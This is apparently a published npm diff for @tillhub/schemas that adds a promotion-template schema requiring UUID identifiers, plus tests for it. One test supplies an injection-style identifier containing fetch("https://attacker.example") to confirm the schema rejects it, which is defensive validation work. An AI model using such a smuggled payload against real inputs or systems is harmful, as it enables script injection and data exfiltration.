@tillhub/schemas 6.450.0 → 6.451.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,2 +1,3 @@
1
1
  module.exports.create = require('./create')
2
2
  module.exports.update = require('./update')
3
+ module.exports.templateSecurity = require('./template-security')
@@ -0,0 +1,176 @@
1
+ const TYPES = {
2
+ EXCLUSIVE_BUNDLE: 'product_property:exclusive_bundle:output_properties',
3
+ AND_OR_CONCAT: 'product_property:and_or_concat:output_properties',
4
+ ENTIRE_BASKET: 'product_property:entire_basket:output_properties'
5
+ }
6
+
7
+ const uuidString = {
8
+ type: 'string',
9
+ format: 'uuid'
10
+ }
11
+
12
+ const uuidRef = {
13
+ oneOf: [
14
+ uuidString,
15
+ {
16
+ type: 'object',
17
+ required: ['id'],
18
+ additionalProperties: true,
19
+ properties: {
20
+ id: uuidString
21
+ }
22
+ }
23
+ ]
24
+ }
25
+
26
+ const uuidRefList = {
27
+ type: 'array',
28
+ items: uuidRef
29
+ }
30
+
31
+ const outputProperties = {
32
+ type: 'object',
33
+ required: ['property', 'value'],
34
+ additionalProperties: true,
35
+ properties: {
36
+ property: {
37
+ type: 'string',
38
+ enum: ['amount_total_gross', 'percentage_discount', 'amount_discount']
39
+ },
40
+ value: {
41
+ type: 'number'
42
+ }
43
+ }
44
+ }
45
+
46
+ /**
47
+ * Security-focused promotion template schema.
48
+ * Tightens identifier fields to UUID format.
49
+ */
50
+ module.exports = {
51
+ $id: 'https://schemas.tillhub.com/v1/promotions.template-security.schema.json',
52
+ $schema: 'http://json-schema.org/draft-07/schema#',
53
+ oneOf: [
54
+ {
55
+ type: 'object',
56
+ required: ['type', 'inputs'],
57
+ additionalProperties: true,
58
+ properties: {
59
+ type: { const: TYPES.EXCLUSIVE_BUNDLE },
60
+ inputs: {
61
+ type: 'object',
62
+ required: ['promotable_product', 'bundle_junctions', 'output'],
63
+ additionalProperties: true,
64
+ properties: {
65
+ repeatable_promotable: { type: 'boolean' },
66
+ promotable_product: {
67
+ type: 'object',
68
+ required: ['value'],
69
+ additionalProperties: true,
70
+ properties: {
71
+ value: uuidString,
72
+ qty: { type: 'number' },
73
+ property: { type: 'string' }
74
+ }
75
+ },
76
+ bundle_junctions: {
77
+ type: 'array',
78
+ minItems: 1,
79
+ maxItems: 1,
80
+ items: {
81
+ type: 'object',
82
+ required: ['type', 'value'],
83
+ additionalProperties: true,
84
+ properties: {
85
+ type: { const: 'product' },
86
+ value: uuidString,
87
+ qty: { type: 'number' },
88
+ property: { type: 'string' }
89
+ }
90
+ }
91
+ },
92
+ output: outputProperties
93
+ }
94
+ }
95
+ }
96
+ },
97
+ {
98
+ type: 'object',
99
+ required: ['type', 'inputs'],
100
+ additionalProperties: true,
101
+ properties: {
102
+ type: { const: TYPES.AND_OR_CONCAT },
103
+ inputs: {
104
+ type: 'object',
105
+ required: ['promotable_product', 'bundle_junctions', 'output'],
106
+ additionalProperties: true,
107
+ properties: {
108
+ repeatable_promotable: { type: 'boolean' },
109
+ promotable_product: {
110
+ type: 'object',
111
+ required: ['value'],
112
+ additionalProperties: true,
113
+ properties: {
114
+ value: uuidString,
115
+ qty: { type: 'number' },
116
+ property: { type: 'string' }
117
+ }
118
+ },
119
+ bundle_junctions: {
120
+ type: 'array',
121
+ minItems: 2,
122
+ maxItems: 2,
123
+ items: {
124
+ type: 'object',
125
+ required: ['type', 'value'],
126
+ additionalProperties: true,
127
+ properties: {
128
+ type: { enum: ['product', 'product_group'] },
129
+ value: uuidRefList,
130
+ qty: { type: 'number' },
131
+ property: { type: 'string' }
132
+ }
133
+ }
134
+ },
135
+ output: outputProperties
136
+ }
137
+ }
138
+ }
139
+ },
140
+ {
141
+ type: 'object',
142
+ required: ['type', 'inputs'],
143
+ additionalProperties: true,
144
+ properties: {
145
+ type: { const: TYPES.ENTIRE_BASKET },
146
+ inputs: {
147
+ type: 'object',
148
+ required: ['promotable_product', 'promotable_product_group', 'required_amount', 'output'],
149
+ additionalProperties: true,
150
+ properties: {
151
+ promotable_product: {
152
+ type: 'object',
153
+ required: ['value'],
154
+ additionalProperties: true,
155
+ properties: {
156
+ value: uuidRefList,
157
+ property: { type: 'string' }
158
+ }
159
+ },
160
+ promotable_product_group: {
161
+ type: 'object',
162
+ required: ['value'],
163
+ additionalProperties: true,
164
+ properties: {
165
+ value: uuidRefList,
166
+ property: { type: 'string' }
167
+ }
168
+ },
169
+ required_amount: { type: 'number' },
170
+ output: outputProperties
171
+ }
172
+ }
173
+ }
174
+ }
175
+ ]
176
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@tillhub/schemas",
3
- "version": "6.450.0",
3
+ "version": "6.451.0",
4
4
  "private": false,
5
5
  "description": "All Tillhub API OpenAPI 3 compatible JSON Schemas.",
6
6
  "main": "./lib/index.js",
@@ -0,0 +1,55 @@
1
+ const Ajv = require('ajv')
2
+ const test = require('tape')
3
+ const templateSecurity = require('../../lib/v1/promotions/template-security')
4
+
5
+ const ajv = new Ajv({ allErrors: true })
6
+ const validate = ajv.compile(templateSecurity)
7
+
8
+ const PROMOTABLE = '0e0ae64e-1499-435d-af31-5bc5d35b1ed2'
9
+ const BUNDLE = 'e9516453-d974-430a-8277-7373bd392157'
10
+
11
+ function exclusiveTemplate (promotableId = PROMOTABLE) {
12
+ return {
13
+ type: 'product_property:exclusive_bundle:output_properties',
14
+ inputs: {
15
+ repeatable_promotable: true,
16
+ promotable_product: {
17
+ property: 'id',
18
+ value: promotableId,
19
+ qty: 1
20
+ },
21
+ bundle_junctions: [{
22
+ type: 'product',
23
+ property: 'id',
24
+ value: BUNDLE,
25
+ qty: 1
26
+ }],
27
+ output: {
28
+ property: 'amount_total_gross',
29
+ value: 5
30
+ }
31
+ }
32
+ }
33
+ }
34
+
35
+ test('Promotions: template security schema accepts UUID identifiers', function (t) {
36
+ t.plan(1)
37
+ t.ok(validate(exclusiveTemplate()), 'valid identifiers should pass')
38
+ })
39
+
40
+ test('Promotions: template security schema rejects injectable identifiers', function (t) {
41
+ t.plan(1)
42
+ t.notOk(
43
+ validate(exclusiveTemplate('12"; fetch("https://attacker.example"); //')),
44
+ 'non-UUID identifier should fail'
45
+ )
46
+ })
47
+
48
+ test('Promotions: template security schema is exported', function (t) {
49
+ t.plan(1)
50
+ t.equal(
51
+ require('../../lib/v1/promotions').templateSecurity,
52
+ templateSecurity,
53
+ 'v1 promotions exports the security schema'
54
+ )
55
+ })